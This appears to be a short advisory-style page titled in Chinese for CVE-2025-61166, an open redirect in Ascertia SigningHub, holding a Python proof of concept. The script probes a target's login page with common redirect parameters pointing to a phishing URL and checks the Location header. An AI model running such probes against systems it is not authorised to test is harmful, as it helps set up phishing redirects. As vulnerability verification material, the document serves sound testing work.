CVE-2025-61166 Ascertia SigningHub开放重定向漏洞

# PoC for CVE-2025-61166 Open Redirect Vulnerability # Target: Ascertia SigningHub User v10.0 import requests def check_open_redirect(target_host, malicious_url): # Common vulnerable parameter names for redirect functionality params_list = ['returnUrl', 'redirect', 'next', 'url', 'return', 'goto'] for param in params_list: # Construct the full URL full_url = f"{target_host}/login" # Assuming login page is the entry point payload = {param: malicious_url} try: # Send request, do not follow redirects automatically to check the Location header response = requests.get(full_url, params=payload, timeout=5, allow_redirects=False) # Check if the response is a 302/301 Redirect and the Location points to the malicious site if response.status_code in [301, 302, 307, 308]: location = response.headers.get('Location', '') if malicious_url in location: print(f"[+] Vulnerability confirmed using parameter '{param}'") print(f"[+] Redirecting to: {location}") return True except requests.RequestException as e: print(f"[-] Error connecting to {target_host}: {e}") return False if __name__ == "__main__": target = "https://target-signinghub.com" evil_site = "https://example.com/phishing" check_open_redirect(target, evil_site)